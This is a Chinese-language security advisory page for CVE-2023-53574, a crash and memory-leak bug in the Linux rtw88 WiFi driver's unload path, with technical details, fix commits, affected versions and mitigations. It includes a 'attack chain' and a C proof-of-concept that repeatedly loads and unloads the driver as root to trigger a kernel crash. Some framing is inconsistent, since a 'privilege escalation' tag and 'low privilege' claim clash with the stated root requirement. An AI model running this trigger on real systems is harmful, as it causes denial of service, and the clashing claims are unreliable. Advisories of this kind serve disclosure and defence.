IPBUF安全漏洞报告
English
CVE-2023-53574 CVSS 5.5 中危

CVE-2023-53574 Linux内核rtw88驱动卸载时崩溃及内存泄漏漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53574
漏洞类型
内存泄漏/空指针解引用导致崩溃
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 rtw88 WiFi驱动

相关标签

Linux内核rtw88WiFi驱动内存泄漏空指针解引用拒绝服务内核漏洞Realtek本地提权驱动安全

漏洞概述

CVE-2023-53574是Linux内核中rtw88无线网卡驱动的一个安全漏洞。该漏洞位于驱动卸载流程中,具体涉及rtw_core_deinit()函数。在驱动卸载时,如果没有正确删除TX purge定时器(TX purge timer)并释放C2H命令队列(C2H queue),可能导致系统崩溃(kernel panic)和内存泄漏问题。该漏洞的CVSS评分为5.5,属于中危级别,攻击向量为本地(AV:L),需要低权限(PR:L),无需用户交互(UI:N)。漏洞的可用性影响为高(A:H),但对机密性(C:N)和完整性(I:N)无影响。此漏洞主要影响使用Realtek WiFi芯片(rtw88系列驱动支持)的Linux系统,在驱动模块卸载或系统关机时可能触发。修复方案是在rtw_core_deinit()函数中增加对TX purge定时器的删除操作以及对C2H队列的释放操作,同时将COEX队列的释放移出TX report锁的作用域以缩小临界区范围。该漏洞已在Linux内核主线中通过commit 4128b00a6006870e117ab1841e58f369e9284ecb和634fcbcaa4062db39aeb5ac6ed1bc1feb8dd5216进行修复。

技术细节

该漏洞的技术根源在于rtw88驱动的资源管理不当。rtw88是Linux内核中用于支持Realtek系列WiFi芯片的驱动程序。在驱动的初始化和反初始化流程中,需要正确管理各种内核资源,包括定时器、skb队列等。

具体而言,在rtw_core_deinit()函数(原反初始化路径)中存在以下问题:
1. TX purge定时器未被删除:驱动运行时使用一个定时器来定期清理TX队列中的过期数据包(TX purge)。在驱动卸载时,如果该定时器未被删除(del_timer_sync),定时器可能在驱动内存释放后仍然触发,访问已释放的内存导致内核崩溃。
2. C2H队列未释放:C2H(Command to Host)是WiFi芯片向主机发送命令的通道,驱动使用skb队列缓存这些命令。卸载驱动时未释放该队列中的skb会导致内存泄漏。
3. 临界区过大:COEX(共存)队列的释放操作原本在TX report锁的作用域内执行,这会不必要地延长锁的持有时间,可能导致性能问题或死锁。

利用方式:本地攻击者(如拥有低权限用户账户)可以通过加载和卸载rtw88驱动模块(例如通过modprobe/rmmod命令或系统重启时驱动清理流程)来触发该漏洞,导致系统崩溃(kernel panic)或内存资源耗尽。由于该漏洞需要本地权限且影响仅限于可用性,实际利用价值有限,但在大规模自动化部署或容器环境中可能导致拒绝服务。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要拥有目标Linux系统的本地低权限账户,并确保系统使用Realtek WiFi芯片(如RTL8822BE、RTL8821CE等),这些芯片由rtw88驱动支持。
STEP 2
步骤2:权限提升
由于卸载内核模块需要root权限,攻击者需要通过其他途径获取root权限(如利用其他漏洞、社会工程学等),或者等待系统重启/驱动自动卸载的时机。
STEP 3
步骤3:触发驱动卸载
执行rmmod或modprobe -r命令卸载rtw88驱动模块,触发rtw_core_deinit()函数执行。由于该函数未删除TX purge定时器且未释放C2H队列,可能导致内核崩溃。
STEP 4
步骤4:利用结果
如果定时器在驱动内存释放后触发,将导致空指针解引用或use-after-free错误,引发内核panic(系统崩溃);同时未释放的skb队列会造成内存泄漏,长期运行可能导致系统资源耗尽。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53574: Trigger rtw88 driver unload crash // This PoC demonstrates how to trigger the vulnerability by loading and // unloading the rtw88 driver module multiple times to cause memory leak // or potential kernel crash due to uncleared timer and unfreed skb queue. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> // Check if rtw88 module is loaded int check_module_loaded(const char *module_name) { char cmd[256]; snprintf(cmd, sizeof(cmd), "lsmod | grep -w %s > /dev/null 2>&1", module_name); return system(cmd) == 0; } // Unload the rtw88 module int unload_module(const char *module_name) { char cmd[256]; printf("[*] Attempting to unload %s module...\n", module_name); snprintf(cmd, sizeof(cmd), "modprobe -r %s 2>/dev/null", module_name); return system(cmd); } // Load the rtw88 module int load_module(const char *module_name) { char cmd[256]; printf("[*] Attempting to load %s module...\n", module_name); snprintf(cmd, sizeof(cmd), "modprobe %s 2>/dev/null", module_name); return system(cmd); } int main(int argc, char *argv[]) { const char *module = "rtw88_core"; int iterations = 10; if (getuid() != 0) { fprintf(stderr, "[!] This PoC requires root privileges.\n"); fprintf(stderr, "[!] Run with sudo or as root.\n"); return 1; } printf("[*] CVE-2023-53574 PoC - rtw88 Driver Unload Vulnerability\n"); printf("[*] This will repeatedly load/unload the rtw88 driver\n"); printf("[*] to trigger memory leak or kernel crash.\n\n"); if (argc > 1) { iterations = atoi(argv[1]); } printf("[*] Running %d iterations...\n\n", iterations); for (int i = 0; i < iterations; i++) { printf("[Iteration %d/%d]\n", i + 1, iterations); if (check_module_loaded(module)) { unload_module(module); } else { printf("[*] Module not loaded, attempting to load...\n"); } sleep(1); load_module(module); sleep(1); } printf("\n[*] PoC execution completed.\n"); printf("[*] Check dmesg for kernel warnings or crashes.\n"); return 0; } // Compile: gcc -o poc_cve_2023_53574 poc.c // Run: sudo ./poc_cve_2023_53574 5 // // Alternative trigger: Simply restart the system or // run "rmmod rtw88_pci" / "modprobe rtw88_pci" on a system // with Realtek WiFi hardware to observe the crash/leak.

影响范围

Linux内核 < 6.6(包含rtw88驱动的受影响版本)
Linux内核 6.6.x(修复前版本)
Linux内核 6.1.x LTS(修复前版本)
Linux内核 5.15.x LTS(修复前版本)
Linux内核 5.10.x LTS(修复前版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1)通过将rtw88相关模块加入黑名单(/etc/modprobe.d/blacklist.conf中添加'blacklist rtw88_core'等条目)来防止驱动加载;2)避免在受影响的系统上进行频繁的驱动模块加载/卸载操作;3)监控系统资源使用情况,及时发现内存泄漏迹象;4)限制普通用户对内核模块操作的相关权限;5)关注Linux发行版的安全公告,及时应用安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表